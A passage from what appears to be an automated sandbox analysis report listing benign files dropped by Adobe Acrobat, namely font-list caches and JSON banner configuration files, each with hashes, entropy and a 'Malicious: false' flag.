DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2820

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2820

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.351521017486049
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPQv4RBWkvHgNY+FIbRI6XVW7+0YQTUoAvJM3g98kUwPeUkwRe9:YvXKXOLYpW7vGMbLUkee9
MD5:	43BBE8D8972850EDD1C6FC1581368551
SHA1:	92488622F13B620AF3FE098E0A245CF30738CEF0
SHA-256:	579AB5F3BBB90F82E0891F666684017669181EB0A2A1AB2EDB8A322FE857F308
SHA-512:	6F94D5BE6FD43EF7409BA048EE86410A5609685CFF58C4ADE32A5E807E4CA59A52BE38422DB72DBDC38D9E85D30909A1EB63831BBDC340BC3080C4F4FC1C4BAC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"85f7e9a8-c374-4d94-a5b2-757be3fc7e81","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736733452489,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.288000464425209
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPQv4RBWkvHgNY+FIbRI6XVW7+0YQTUoAvJfBoTfXpnrPeUkwRe9:YvXKXOLYpW7vGWTfXcUkee9
MD5:	F6EE5ED7AA86ABCFF7CC0B78054C67A7
SHA1:	B97A264AC9554D11CC9798759DB14E7E0E623C28
SHA-256:	DEF942329183787F5827606E2D2A86EFEEE705B448AB3CF1D52DB2B146898675
SHA-512:	BD554B35BF2754F3536DB7B59FF7DCD73B59D73F8EF95430968E573E86BDD1A977AD4132A5395FDFD2B89528B6744264D0EA864DEB36A3CE03B037DD6739FA0A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"85f7e9a8-c374-4d94-a5b2-757be3fc7e81","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736733452489,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.266821539470808
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPQv4RBWkvHgNY+FIbRI6XVW7+0YQTUoAvJfBD2G6UpnrPeUkwRe9:YvXKXOLYpW7vGR22cUkee9
MD5:	6ADB9692EB8D0B5C51A021F671B6DA12
SHA1:	8CFDA67C79A0C4708B50353F88708B9D36B7BCEF
SHA-256:	F501F1E0CFC15C518E3FC0EC8172012610933A0B21E367CBDF3FE1000A16DFD3
SHA-512:	06843F6B3BC6D2B348A8E23869BCFB49228ACC4B5E0D180EADF96EBA65C48024998C18F0B5D166C39F69AF4F3B7D6854C828F60D7CBC549B0579A9971DDDD1DE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"85f7e9a8-c374-4d94-a5b2-757be3fc7e81","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736733452489,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.329998373426613
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPQv4RBWkvHgNY+FIbRI6XVW7+0YQTUoAvJfPmwrPeUkwRe9:YvXKXOLYpW7vGH56Ukee9
MD5:	610843661CCE7FD9DB6E023C94942D9B
SHA1:	AE1C37E75ACE5852072DA9F04A9B83D51802BA48
SHA-256:	34378CA2F4B3243D6893715C4C3F39BA23A854A627DCD17E22024FF2806D436D
SHA-512:	50C588D86DCB2F93BF8685A4FF4B11B6341DAD0D1E55E3062937C3E1D48B90821E813120D805FB4AEC40F386EC82DDF2B794234BABD38FD8A76FE2809BDBA49A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"85f7e9a8-c374-4d94-a5b2-757be3fc7e81","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736733452489,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.691178435478606
Encrypted:	false
SSDEEP:	24:Yv6XOQi0pLgE9cQx8LennAvzBvkn0RCmK8czOCCS2:YvFH0hgy6SAFv5Ah8cv/2
MD5:	7215B9A2BC09247CCB2AE885A640209D
SHA1:	1971AFC9532C09B01F5BAC74C469C64AB100894B
SHA-256:	3782882C07B6BE55482FB239212E8AC2BB48F60262959E407CAC8FEE616E0F57
SHA-512:	BFADA1790003FF3580037BE7622390B2280461AF6FB658E8D042AC32D0997668E40CBDF69142F08583A64674385C4B7DE6B856B2053BAE28BE56ABBACCDC7633
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"85f7e9a8-c374-4d94-a5b2-757be3fc7e81","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736733452489,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.274477268154764
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPQv4RBWkvHgNY+FIbRI6XVW7+0YQTUoAvJf8dPeUkwRe9:YvXKXOLYpW7vGU8Ukee9
MD5:	237256A3AFD17BE24FF6599220AFBFA3
SHA1:	18191754B77623BFF4F8E78DD14F2A557F367C88
SHA-256:	6951D89DD6D444BDF42E081E24F998B2E6F92B4ECAC40201B933B08D26102C85
SHA-512:	22ACAA785F49A4C478081B37E67BECD2A903BA5A6A70BD541511C0E77AACC2E3872646391FD934F89CACBCE49576F0B2A300C1AB6FA4E56F24D9D914A00A982C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"85f7e9a8-c374-4d94-a5b2-757be3fc7e81","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736733452489,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.275438260691779
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPQv4RBWkvHgNY+FIbRI6XVW7+0YQTUoAvJfQ1rPeUkwRe9:YvXKXOLYpW7vGY16Ukee9
MD5:	A1694EA326D96A32FBFCD0A0EA7BB9BC
SHA1:	118C91389A780100D07D8A1CB12C26ACE6E045F6
SHA-256:	41D2AD900B2546C0FF6A162B1404E46D819BF02E9E8B7A836B5B16332180D937
SHA-512:	AB8438C0E2BBE7C705C20914A8D9FFF05B8BEB5162FC8CCDF9EF49FF347F117D677B6E31710A30D71211904E3EFC30D90F0B0D0A317E63FE1D8A85462B42B8A0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"85f7e9a8-c374-4d94-a5b2-757be3fc7e81","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736733452489,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.29599949708469
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPQv4RBWkvHgNY+FIbRI6XVW7+0YQTUoAvJfFldPeUkwRe9:YvXKXOLYpW7vGz8Ukee9
MD5:	4B9280B0A313AE8FEB8ED2574EED988C
SHA1:	CC8AC673CB39D33307C0D81E9571C196B8DD84F6
SHA-256:	59D3D465B73A2667868BA46445BD70D19FF60A276920A9526194FE3B26390187
SHA-512:	A1566A10101C5C1CB2A7C76FA6ECE6264F313FF6E6C2F9C89B3BFEF0B591549257E36932DD2D96D7D6DB456629186055554E4E7A3E7B53AAA878D935A9A74B5C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"85f7e9a8-c374-4d94-a5b2-757be3fc7e81","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736733452489,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.301890975047358
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPQv4RBWkvHgNY+FIbRI6XVW7+0YQTUoAvJfzdPeUkwRe9:YvXKXOLYpW7vGb8Ukee9
MD5:	5C2E5BB576D39F1C6C8B93B7FB11FF75
SHA1:	1392C436837EC220447F1A170499CD79E6F6E3FD
SHA-256:	525AA59996FE3B48903C86D73734F40F53ACD1BE2F07B0381756057325B653F9
SHA-512:	CDA74EE5D1E89685E72C60F1E87CA8DAFF493C7DCF9668260FDA7DEE469B377686F1B7FD1E49965F0E9C3EDECBECCB25AA28E4A39B630F3655FDBD18A4F130FC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"85f7e9a8-c374-4d94-a5b2-757be3fc7e81","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736733452489,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.282171963927524
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPQv4RBWkvHgNY+FIbRI6XVW7+0YQTUoAvJfYdPeUkwRe9:YvXKXOLYpW7vGg8Ukee9
MD5:	6025A3F9767121671A3E231E2FAB7EC7
SHA1:	3471CCC2AF8A6272040BB2F6FD3AC60A63DDA00D
SHA-256:	91212BEFC7B846134FFDFD66B70095FEE22C14A0248C5D4377327AAA6097D851
SHA-512:	176F479762A845FEC2BBE09E30CD2EB4EA42804EC83C98E520251745E7CC41DF268AE22E3A800A72CFAD17D4DF3529EB61FC3E2849C5FE3C47F1BD980EDC1717
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"85f7e9a8-c374-4d94-a5b2-757be3fc7e81","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736733452489,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.268489816496343
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPQv4RBWkvHgNY+FIbRI6XVW7+0YQTUoAvJf+dPeUkwRe9:YvXKXOLYpW7vG28Ukee9
MD5:	E7819C504D6CBE7304FBDB4A82F5608F
SHA1:	7882B629EDE0C7074F34FF62E8BF06CCAA7E9818
SHA-256:	5EB61E5D8D18AB90F8308AD44060959EBAA76E20AFD56B0FCC92E3A997DD9344
SHA-512:	41F18FC6B95A2A730DEB4BB0F382DBD0DE8EF185397DD65D4219436E5B8B8D3C2941423E4F1D442EED0C6CD8A9BC0E460633551F7B887C6FF8E51178775B09D9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"85f7e9a8-c374-4d94-a5b2-757be3fc7e81","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736733452489,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.265841591058931
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPQv4RBWkvHgNY+FIbRI6XVW7+0YQTUoAvJfbPtdPeUkwRe9:YvXKXOLYpW7vGDV8Ukee9
MD5:	24DCCAF0E33305DB72332B001AC57A2C
SHA1:	9691D7A4ABCC1C720E25607689A9C3E300E199DA
SHA-256:	2057F258481A91F10AFD34C6D59EC79FADFDA9B0258365B212B096E3A142B66B
SHA-512:	8FDD8230EF765ED5A04F8BCC80D284209DCD6E3163CEA7591703205E62E854A2891730B27E677DBDBFB51ED9F1B3AFF7473100E5A930B8AFEBE2698F599ECCAF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"85f7e9a8-c374-4d94-a5b2-757be3fc7e81","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736733452489,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.26726804369957
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPQv4RBWkvHgNY+FIbRI6XVW7+0YQTUoAvJf21rPeUkwRe9:YvXKXOLYpW7vG+16Ukee9
MD5:	413DAEF27F1B749879DFAE598A17D41D
SHA1:	B71CAA8AE726FC162F07F2C2D7B998EFE68E1D3A
SHA-256:	7FBAC6E2848AE4A182B3919E173DF05379C1C0A8B57F95CC3E0E0F2E37C24928
SHA-512:	A3AA90DDABB9DCD70B0AC78A8CC40E95B4D42CC33752FA0F62A847BBE40C28F8D41660A85E0D3F26A5C90E0082A8715BA5E2E5F4D265D8A1A0A32C07205A3A14
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"85f7e9a8-c374-4d94-a5b2-757be3fc7e81","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736733452489,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.665264798038423
Encrypted:	false
SSDEEP:	24:Yv6XOQiwamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSa:YvFH2BgkDMUJUAh8cvMa
MD5:	B08F0DE34374FDC8DA9050B71C2EAEF3
SHA1:	3DD08316292A58162ABF142CA23057922F567AD1
SHA-256:	289C7879995FE93B5830F5520759C62771DFA465F8F5F77BAA87772AE3698D86
SHA-512:	DDD0663EE6BB754DFBD473562BDD02C4EA8CB512E6F84E3E1FA4FF9CE0005C89FE69A40C3E8D2D30F850ADBE7119E942303758E822F42583EAD9556C7EAB4789
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"85f7e9a8-c374-4d94-a5b2-757be3fc7e81","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736733452489,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.243116594219082
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPQv4RBWkvHgNY+FIbRI6XVW7+0YQTUoAvJfshHHrPeUkwRe9:YvXKXOLYpW7vGUUUkee9
MD5:	6F73B0404FF385779854A22AA3F936E8
SHA1:	E5E577091712DCCD9415EAFCF9EFF330A1DFA7CC
SHA-256:	CAC6F14D2406AA49FF3516FA5AE4B21C923524DFFB24EFDA86B120ABA5E91E08
SHA-512:	7FE724CDD11C4361F0832B6D1C289509AD7455E48948201985CF3BFDF94B2419DAEE891EDD2EB1B8E281BF4FC8CFEE3D07F0AEB3323C0E4B62027A8D5708FD69
Malicious:	false
